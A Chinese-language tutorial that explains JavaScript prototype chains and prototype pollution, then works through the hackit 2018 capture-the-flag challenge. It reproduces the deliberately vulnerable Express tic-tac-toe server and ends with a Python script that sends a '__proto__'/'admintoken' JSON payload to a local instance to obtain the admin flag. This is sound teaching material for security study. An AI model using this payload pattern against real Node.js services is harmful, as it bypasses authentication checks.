目录
一、简单介绍一下原型链
二、举个例子
三、那原型链污染是什么呢
四、我们来看一道题-hackit 2018
4.1 环境
4.2开始解题
4.3 解答:
一、简单介绍一下原型链
JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。
二、举个例子
描述一下:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的last_name
属性,最后输出的是Name: Melania Trump
。
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
-
在对象son中寻找last_name
-
如果找不到,则在
son.__proto__
中寻找last_name -
如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name -
依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
三、那原型链污染是什么呢
foo.__proto__
指向的是Foo
类的prototype
。那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
我们做一个简单的实验
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
结果:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
四、我们来看一道题-hackit 2018
4.1 环境
我们将代码复制到js文件中,随便写个js,之后在官网下载node.js
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
写一个相应的js拉取包,如下package.json
{
"name": "my-node-app",
"version": "1.0.0",
"description": "A simple Node.js app for tic-tac-toe game with express, hbs, and md5.",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"body-parser": "^1.20.2",
"express": "^4.18.2",
"hbs": "^4.2.0",
"md5": "^2.3.0",
"morgan-body": "^2.6.9"
},
"author": "",
"license": "ISC"
}
之后换源为淘宝源后拉取相应的npm包
之后启动它就会自己监听到3000端口了
4.2开始解题
它定义了一个空数组然后给了三个null
继续分析,获取flag的条件是 传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在 ,三个条件不符合的情况下就会给你返回一个Forbidden
解决方法:如果还有一个数组可以在admintoken值之前修改它祖先的值,而这个user没有值,但是它可以往上找,使得admintoken有值,自然就造成了原型链污染
那我们就需要去找用户可控的点,那找到了body,row,col,如何利用?
使用方法就是data得有值,而我们通过定位metrix发现它也是一个数组,user也是一个数组,那很明显在metrix上定义的原型链,user肯定可以找到,那现在如何在原型链定义
下面我们先本地测试一下:很明显我们将第一个属性放到row=__proto__,第二个属性col=admintoken,约等于我们没用点去取,而是用了数组
4.3 解答:
import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=a3c23537bfc1e2da4a511661547d65fb"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"sunsec"}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)